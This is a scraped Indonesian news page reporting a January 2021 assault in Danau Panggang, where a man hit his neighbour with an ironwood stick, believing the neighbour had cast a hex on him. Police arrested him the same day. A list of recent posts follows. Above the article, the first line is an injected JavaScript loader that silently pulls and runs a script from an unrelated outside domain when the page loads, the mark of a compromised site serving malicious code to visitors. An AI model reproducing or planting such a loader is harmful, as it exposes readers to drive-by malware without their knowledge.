(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Gara-gara Merasa Disantet, Anwar Pukul Kepala Tetangga dengan Kayu Ulin


KANALKALIMANTAN.COM, AMUNTAI – Aksi penganiayaan dilakukan oleh Anwar (51). Warga Desa Manarap, RT 02/ RW 01, Kecamatan Danau Panggang, Hulu Sungai Utara (HSU) ini tega menganiaya tetangganya Supiani (54) dengan batang kayu ulin. Gara-garanya, pelaku merasa korban telah menyantet dirinya.

Aksi penganiayaan itu bermula saat korban Supian sedang duduk ngobrol di dalam mushola Miftahul Khiar, Desa Manarap. Korban sedang membahas pembangunan mushola bersama warga lainnya pada Jumat (29/1/2021) sore sekitar pukul 17.00 Wita.

“Tak berselang lama tiba-tiba tersangka Anwar langsung memukul kepala korban satu kali menggunakan kayu ulin hingga korban jatuh. Sementara kayu ulin tersebut patah dua,” ungkap Kapolres HSU AKBP Afri Darmawan melalui Kapolsek Danau Panggang Iptu Syaifullah kepada Kanalkalimantan.com, Sabtu (30/1/2021)

Spontan, lanjut Kapolsek, warga pun melerai kejadian tersebut. Alih-alih berhenti, Anwar malah mau menusukkan patahan ulin tersebut ke arah korban yang sudah jatuh.

Mendapat laporan warga, Unit Reskrim Polsek Danau Panggang mendatangi TKP menolong korban. Polisi pun melakukan pencarian terhadap Anwar yang usai melakukan penganiayaan tersangka langsung menghilang.

“Selang satu jam kemudian tersangka Anwar berhasil kita amankan di rumahnya di desa Manarap Hulu Danau Panggang,” tambah Kapolsek.

Kepada polisi, tersangka Anwar mengakui perbuatannya melakukan penganiayaan itu disebabkan karena korban telah menyantetnya. “Untuk terduga sudah diamankan di Mapolsek Danau Panggang guna proses penyidikan lebih lanjut,” pungkasnya.

Atas kejadian ini tersangka bisa dikenakan pasal 351 ayat ( 1 ) KUHP tentang penganiayaan dengan ancaman pidana penjara paling lama dua tahun.

Sementara barang bukti yang berhasil diamankan polisi yaitu satu lembar baju batik kemeja lengan panjang warna coklat muda yang ada bercak darah, satu bilah kayu ulin panjang sekitar 40 cm yang telah patah jadi 2 bagian masing-masing 25 cm dan 15 cm.(kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.